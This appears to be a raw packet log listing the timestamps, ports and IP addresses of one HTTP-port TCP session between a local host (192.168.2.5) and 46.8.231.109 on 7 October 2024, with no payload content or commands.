Oct 7, 2024 17:22:04.945792913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945871115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945879936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945888996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945898056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945903063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945909977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945919037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945955038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945955038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946105003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946114063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946122885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946131945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946141958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946151972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946161985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946170092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946180105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946190119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946193933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946201086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946229935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946229935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946233034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946331978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946381092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946389914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946398973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946408987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946418047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946428061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946438074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946446896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946456909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946465969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946469069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946499109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946499109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946505070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946810007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946826935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946830034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946839094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946849108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946858883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946870089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946878910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946890116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946892977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946892977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946899891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946912050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946922064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946928978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946928978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946933031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946944952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946955919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946964979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946965933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946965933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.946975946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946986914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.946996927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.947005987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.947017908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.947026014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.947029114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.947029114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.947062016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.947062016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954427004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954466105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954478979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954538107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954539061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954539061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954547882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954557896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954567909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954582930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954652071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954664946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954674006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954684019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.954689026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954689026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.954761982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.027930975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.027947903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.027960062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028048992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028064966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028074980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028084993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028095961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028105974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028116941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028126955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028137922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028147936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028157949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028171062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028191090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028191090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028191090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028191090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028212070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028212070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028325081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028336048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028346062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028357029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028367043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028378963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028388977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028398991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028402090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028402090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028409004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028419971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028453112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028453112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028637886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028646946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028656960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028671026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028673887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028683901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028693914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028703928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028712034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028722048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028731108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028736115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028736115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028742075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028752089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028763056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028773069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028773069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028773069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028790951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028815985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028815985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.028978109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028987885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.028999090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029010057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029012918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029012918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029030085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029041052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029051065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029059887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029059887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029062033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029073000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029082060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029093027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029103041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029113054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029123068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029123068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029124022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029136896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029141903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029309988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029320955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029330969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029341936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029345036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029345036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029351950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029361963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029403925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029403925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029447079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029462099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029472113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029479980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029481888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029491901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029503107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029512882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029522896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029532909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029541969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029546022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029546022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029552937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029562950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029571056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029582977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029603958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029603958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029752970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029762983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029800892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029810905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029814005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029814005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029820919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029846907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029846907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029864073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029926062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029936075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029946089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029956102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029967070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029972076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.029978991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.029978991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030136108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030147076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030155897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030167103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030167103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030173063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030183077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030191898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030204058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030213118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030222893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030234098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030242920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030251980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030251980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030253887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030266047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030277014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030292034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030292034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030452967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030462980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030472994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030483007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030484915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030484915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030493021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030503035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030513048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030524015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030558109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030558109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030575991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.030644894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.030741930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.140824080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140847921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140857935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140867949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140886068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140892029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.140897036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140907049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140917063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140934944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.140945911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.140976906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.140976906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141005993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141016960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141026974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141036987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141047001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141057014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141067982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141072035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141072035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141105890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141105890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141311884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141321898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141331911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141341925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141350985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141360998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141367912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141367912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141370058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141381025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141390085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141398907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141408920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141413927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141413927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141417980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141427994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141438007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141449928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141449928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141457081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141489029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141489029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141532898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141542912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141552925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141587973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141587973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141679049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141689062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141697884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141707897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141717911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141722918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141729116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141736984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141747952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141753912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141753912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141757011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141767025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141776085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141789913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141789913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.141982079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141992092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.141997099 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142002106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142011881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142021894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142030954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142040014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142040968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142040968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142096043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142123938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142133951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142142057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142151117 CEST	80	49704	46.8.231.109	192.168.2.5
